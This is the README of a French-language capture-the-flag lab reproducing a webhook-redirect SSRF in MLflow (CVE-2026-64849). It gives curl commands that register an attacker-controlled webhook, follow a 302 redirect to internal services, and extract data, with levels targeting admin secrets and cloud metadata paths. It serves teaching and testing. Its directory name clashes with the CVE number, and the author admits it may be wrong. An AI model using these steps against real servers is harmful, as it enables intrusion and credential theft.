
este laboratorio puede estar bien o mal preguntale a la IA estoy probando pero debe funcionar hahahah
CVE-2026-64849 · MLflow < 3.15.0 · Server-Side Request Forgery (SSRF)
Laboratoire pratique et reproductible du CVE-2026-64849 : une vulnérabilité
de type SSRF dans MLflow causée par un défaut TOCTOU (Time-of-Check /
Time-of-Use) dans la gestion des webhooks. MLflow valide l'URL d'origine du
webhook mais suit les redirections HTTP (302) sans re-valider la destination,
ce qui permet à un attaquant sans authentification d'atteindre des services
internes auxquels il ne devrait pas avoir accès (internal-service:8888).
Usage restreint : matériel de laboratoire, uniquement pour des réseaux et environnements autorisés. Voir Avis légal.
| Attribut | Valeur |
|---|
| Vulnérabilité | CVE-2026-64849 — SSRF via Webhook Redirect Bypass |
| Composant affecté | MLflow Tracking Server (< 3.15.0) |
| Version du lab | MLflow 3.13.0 (non modifié, via pip install) |
| Cause racine | TOCTOU : valide l'URL, suit le 302 sans re-valider |
| Vecteur | HTTP ; sans authentification |
| Sévérité déclarée | CRITIQUE (CVSS 9.3) — selon le bandeau de l'exploit du lab |
| Résultat | Accès aux services internes, vol de credentials, port scanning |
| Durée estimée | 15–20 minutes |
| Niveau | Intermédiaire (Web App Security / Offensive Security) |
MLflow permet d'enregistrer des webhooks qui déclenchent des requêtes HTTP lors d'événements (données de modèles, expériences, etc.). Avant d'enregistrer l'URL, une validation est appliquée (schéma, IP privées, metadata IP). Le défaut survient parce que :
3xx, la
bibliothèque requests suit la redirection automatiquement et ne
re-valide jamais l'URL de destination.L'attaquant contrôle le premier saut (un serveur qui répond 302 vers un
service interne) et MLflow agit comme proxy vers le réseau interne.
Voir l'analyse technique complète dans EXPLOITATION_GUIDE.md §6.
À la fin du laboratoire, l'étudiant sera capable de :
/test et exfiltration du service interne.Public : étudiants et professionnels de la sécurité offensive, pentesters, relecteurs de sécurité d'applications, et développeurs utilisant MLflow.
Exigences logicielles :
| Outil | Version minimale |
|---|---|
| Docker + Docker Compose | Docker 20.x / Compose v2 |
curl | — |
jq | 1.6+ |
bash | — |
Aucun identifiant ni authentification n'est requis sur MLflow (l'attaque est sans authentification). Aucun accès au réseau interne n'est nécessaire : le lab le fournit.
host réseau interne Docker (lab_network)
┌──────────────────────────────┐ ┌────────────────────────────────────────────────┐
│ attaquant (curl / bash) │ │ │
│ │ │ │ mlflow-vulnerable attacker_server │
│ ▼ │ │ (5000, MLflow 3.13.0) (8080, répond 302) │
│ http://localhost:5000 │ │ │ URL du webhook ▲ │
│ http://localhost:8080 │ │ ▼───────────────────────┘ │
│ http://localhost:8888 ✗ │ │ │ 302 Location: internal-service │
│ │ │ ▼ (SSRF, suit la redirection) │
│ │ │ internal-service (8888) ← SANS ports vers │
│ │ │ "/admin/secret" l'hôte │
│ │ └───────────────────────────────────────────────┘
└──────────────────────────────┘
| Composant | Port | Rôle dans le lab | Modifié ? |
|---|---|---|---|
mlflow-vulnerable | 5000 | Victime / client vulnérable (MLflow 3.13.0 stock) | Non |
attacker-server | 8080 | Serveur de l'attaquant : /webhook → 302, /redirect?url=, /metadata, dashboard | Uniquement do_HEAD |
internal-service | 8888 | Victime dans lab_network ; /admin/secret et /api/internal/config | Non |
Détail d'intégrité : le service vulnérable et le service interne n'ont pas été modifiés. Voir EXPLOITATION_GUIDE.md §14.
cd mlflow-ssrf-lab
bash run_lab.sh start # démarre les 3 conteneurs et attend MLflow
bash run_lab.sh exploit # exploite automatiquement (SSRF → drapeau du Niveau 1)
Démo guidée pas à pas (menu interactif) :
bash manual_exploitation_interactive.sh
🏁 Mode CTF (résolution MANUELLE) : le lab est un défi par niveaux. Chaque
drapeau te laisse l'indice du niveau suivant, ainsi atteindre chaque flag « a du
sens ». Et le but est de le faire à la main : ctf_lab.sh n'exploite pas à
ta place, il te guide et valide ton flag uniquement :
bash ctf_lab.sh # menu interactif du CTF
bash ctf_lab.sh nivel 1 # instructions + indice du niveau (commandes à EXÉCUTER TOI-MÊME MANUELLEMENT)
bash ctf_lab.sh flag '<flag>' # valider le flag que tu as exfiltré et décodé (+pts)
bash ctf_lab.sh status # niveaux terminés + score (235 pts, sans afficher les flags)
bash ctf_lab.sh hint 2 # indice d'un niveau
bash ctf_lab.sh reset # effacer la progression
Références du script run_lab.sh :
bash run_lab.sh start # start (défaut) + endpoint de statut
bash run_lab.sh exploit # exécute exploit.py dans le conteneur mlflow
bash run_lab.sh manual # affiche les commandes curl pas à pas
bash run_lab.sh logs # suit les logs en temps réel
bash run_lab.sh stop # arrête les conteneurs
bash run_lab.sh clean # arrête et supprime les données du lab
Tous les appels à
/testnécessitent l'en-têteContent-Type: application/json; sans lui, MLflow 3.13 répond400 Bad Request.
# 1. Créer le webhook pointant vers le serveur de l'attaquant (redirige vers la racine du portail interne, Niveau 1)
WEBHOOK_ID=$(curl -s -X POST http://localhost:5000/api/2.0/mlflow/webhooks \
-H "Content-Type: application/json" \
-d '{"name":"ssrf_test","url":"http://attacker_server:8080/webhook","events":[{"entity":"MODEL_VERSION","action":"CREATED"}]}' \
| jq -r '.webhook.webhook_id')
# 2. Déclencher /test → MLflow valide l'URL, suit le 302 jusqu'au service interne
curl -X POST "http://localhost:5000/api/2.0/mlflow/webhooks/$WEBHOOK_ID/test" \
-H "Content-Type: application/json" -d '{}'
# 3. Extraire les données exfiltrées (imbriquées dans result.response_body)
curl -s -X POST "http://localhost:5000/api/2.0/mlflow/webhooks/$WEBHOOK_ID/test" \
-H "Content-Type: application/json" -d '{}' \
| jq -r '.result.response_body | fromjson'
Résultat attendu de l'étape 3 (Niveau 1 du CTF) :
{
"service": "internal-admin-portal",
"banner": "Portail administratif interne — uniquement accessible depuis le réseau interne",
"nivel": 1,
"flag_enc": "ZmxhZ3tuMV9lbnVtZXJhY2lvbl9zc3JmfQ==",
"flag_decoding": "echo ZmxhZ3tuMV9lbnVtZXJhY2lvbl9zc3JmfQ== | base64 -d",
"pista": "Le portail expose des ressources sous /admin/ et /api/. Cherche des identifiants administrateur."
}
Le flag voyage chiffré (flag_enc) et la réponse elle-même te donne la
commande pour le décoder (flag_decoding). L'objectif est de l'exfiltrer par
SSRF et de le décoder ; et son pista te mène au
Niveau 2. Le détail pas à pas, l'analyse du bug et la
remédiation se trouvent dans EXPLOITATION_GUIDE.md.
Le lab est un CTF par niveaux progressifs : chaque drapeau laisse un pista
qui mène à la destination suivante, de sorte qu'atteindre chaque flag a du
sens. Tous les niveaux se résolvent avec la même technique de base (SSRF via
redirection), en élevant la difficulté de la technique et de la découverte.
| Niveau | Technique / découverte | Destination (SSRF) | Flag | Points |
|---|---|---|---|---|
| 1 | Redirection basique | internal-service:8888/ | base64 | 10 |
| 2 | Énumération de /admin/ | internal-service:8888/admin/secret | hex | 25 |
| 3 | Énumération de /api/ | internal-service:8888/api/internal/config | base64 | 40 |
| 4 | Metadata cloud (IMDS) | internal-service:8888/latest/meta-data/... | base64 + rev | 60 |
| 5 (FINAL) | Blind SSRF + découverte d'un service caché sur le port 8889 | internal-service:8889/admin/final | XOR + base64 | 100 |
Les flags voyagent chiffrés dans le champ
flag_encde la réponse et chaque réponse inclutflag_decoding(la commande exacte pour le décoder). Le flag en clairflag{...}n'apparaît dans aucun script ni doc : il faut l'exfiltrer via SSRF et le décoder (les scripts automatiques n'affichent pas les flags).
Règle du lab : flag uniquement pour SSRF réussi (exfiltration réelle de
données du service interne via redirection). Ce qui n'est pas du SSRF ou n'est
pas reproductible dans le lab ne donne pas de flag (p. ex. le /metadata
direct de l'attaquant, le DNS rebinding, le tunnel whcli, le scan aveugle
sans exfiltration).
Jouer : bash ctf_lab.sh (menu interactif). Résolution manuelle par
niveaux dans REDTEAM_GUIDE.md (exercice offensif commande
par commande) et EXPLOITATION_GUIDE.md (procédure
technique complète).
Lors de la consolidation du lab, les corrections suivantes ont été appliquées, déjà vérifiées et reflétées dans toutes les commandes de la documentation :
| # | Correction | Impact |
|---|---|---|
| 1 | POST /test envoie désormais Content-Type: application/json (et -d '{}') | Élimine le 400 Bad Request de MLflow 3.13 et l'échec jq: null lors de l'extraction de response_body |
| 2 | attacker_server.py prend en charge la méthode HEAD (do_HEAD) | curl -I .../webhook renvoie 302 Found au lieu de 501 Unsupported method |
| 3 | Utilisation de la vraie API POST /api/2.0/mlflow/webhooks | Évite le 405 des routes inexistantes (/webhooks/create) |
CVE-2026-29000-poc-lab/
├── README.md ← Ce fichier (index / couverture du lab)
├── REDTEAM_GUIDE.md ← Exercice manuel en mode red team : recon → hypothèse → exploit
├── EXPLOITATION_GUIDE.md ← Procédure complète du lab (SSRF, variantes, intégrité)
├── manual_exploitation_interactive.sh ← Démo interactive pas à pas (menu)
└── mlflow-ssrf-lab/ ← Code et orchestration du lab
├── docker-compose.yml ← 3 conteneurs (mlflow, attacker, internal)
├── exploit.py ← Exploit automatisé (s'exécute dans le conteneur)
├── attacker_server.py ← Serveur de l'attaquant (302 configurable)
├── internal_service.py ← Service interne « protégé » (portail 8888 + service caché 8889)
├── ctf_lab.sh ← Guide manuel du CTF (instructions + indices + validateur de flags)
├── run_lab.sh ← start / exploit / manual / logs / stop / clean
└── mlflow_data/ ← Données générées (BD sqlite, artefacts)
lab_network de
Docker ; il n'expose pas le service interne à l'hôte.exploit.py est un outil de vérification du lab et s'exécute dans le
conteneur MLflow, sur le réseau interne simulé (voir
EXPLOITATION_GUIDE.md §14).